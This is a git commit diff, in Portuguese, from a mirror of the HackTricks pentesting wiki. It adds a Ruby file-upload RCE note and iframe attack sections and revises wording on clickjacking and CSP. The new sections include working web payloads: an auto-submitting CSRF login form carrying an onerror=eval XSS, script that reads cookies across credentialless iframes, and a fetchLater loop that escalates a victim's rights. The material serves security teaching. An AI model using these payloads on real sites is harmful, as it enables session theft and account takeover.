mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
6ea4bf3728
commit
bf669c3cb6
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Upload de arquivo para RCE
|
||||
|
||||
Como explicado em [this article](https://www.offsec.com/blog/cve-2024-46986/), fazer upload de um arquivo `.rb` em diretórios sensíveis como `config/initializers/` pode levar à execução remota de código (RCE) em aplicações Ruby on Rails.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -126,7 +126,7 @@ id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem orientar quais permissões permitir.
|
||||
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.
|
||||
|
||||
### Defesas do Lado do Servidor
|
||||
|
||||
@ -147,7 +147,7 @@ A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção
|
||||
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
|
||||
|
||||
Por exemplo, a seguinte CSP permite apenas emoldurar a partir do mesmo domínio:
|
||||
Por exemplo, a seguinte CSP permite apenas emoldurar do mesmo domínio:
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
@ -178,7 +178,7 @@ Esta política permite frames e workers da mesma origem (self) e https://trusted
|
||||
**Notas de Uso:**
|
||||
|
||||
- Descontinuação: child-src está sendo descontinuado em favor de frame-src e worker-src.
|
||||
- Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
|
||||
- Comportamento de Retorno: Se frame-src estiver ausente, child-src é usado como um retorno para frames. Se ambos estiverem ausentes, default-src é usado.
|
||||
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
|
||||
|
||||
#### Scripts de Quebra de Frame em JavaScript
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:
|
||||
|
||||
- Via `src` indicando uma URL (a URL pode ser de origem cruzada ou mesma origem)
|
||||
- Via `src` indicando uma URL (a URL pode ser de origem cruzada ou da mesma origem)
|
||||
- Via `src` indicando o conteúdo usando o protocolo `data:`
|
||||
- Via `srcdoc` indicando o conteúdo
|
||||
|
||||
@ -50,7 +50,7 @@ Note como if4 é considerado ter origem `null`.
|
||||
|
||||
### Iframes com CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Por favor, note como nos seguintes bypasses a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.
|
||||
|
||||
O valor `self` de `script-src` não permitirá a execução do código JS usando o protocolo `data:` ou o atributo `srcdoc`.\
|
||||
@ -134,7 +134,54 @@ O valor do atributo pode ser deixado vazio (`sandbox=""`) para aplicar todas as
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
## Iframes na SOP
|
||||
### Iframes sem credenciais
|
||||
|
||||
Como explicado em [este artigo](https://blog.slonser.info/posts/make-self-xss-great-again/), a flag `credentialless` em um iframe é usada para carregar uma página dentro de um iframe sem enviar credenciais na solicitação, mantendo a mesma política de origem (SOP) da página carregada no iframe.
|
||||
|
||||
Isso permite que o iframe acesse informações sensíveis de outro iframe na mesma SOP carregada na página pai:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exemplo de exploração: Self-XSS + CSRF
|
||||
|
||||
Neste ataque, o atacante prepara uma página da web maliciosa com 2 iframes:
|
||||
|
||||
- Um iframe que carrega a página da vítima com a flag `credentialless` com um CSRF que aciona um XSS (Imagine um Self-XSS no nome de usuário do usuário):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Outro iframe que na verdade tem o usuário logado (sem a flag `credentialless`).
|
||||
|
||||
Então, a partir do XSS, é possível acessar o outro iframe, pois eles têm o mesmo SOP e roubar o cookie, por exemplo, executando:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Como indicado em [este artigo](https://blog.slonser.info/posts/make-self-xss-great-again/), a API `fetchLater` permite configurar uma solicitação para ser executada mais tarde (após um certo tempo). Portanto, isso pode ser abusado para, por exemplo, fazer login em uma vítima dentro da sessão de um atacante (com Self-XSS), definir uma solicitação `fetchLater` (para mudar a senha do usuário atual, por exemplo) e sair da sessão do atacante. Então, a vítima faz login em sua própria sessão e a solicitação `fetchLater` será executada, mudando a senha da vítima para a que foi definida pelo atacante.
|
||||
|
||||
Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido ao CSP ou outras restrições), o atacante ainda pode executar uma solicitação na sessão da vítima.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes em SOP
|
||||
|
||||
Verifique as seguintes páginas:
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user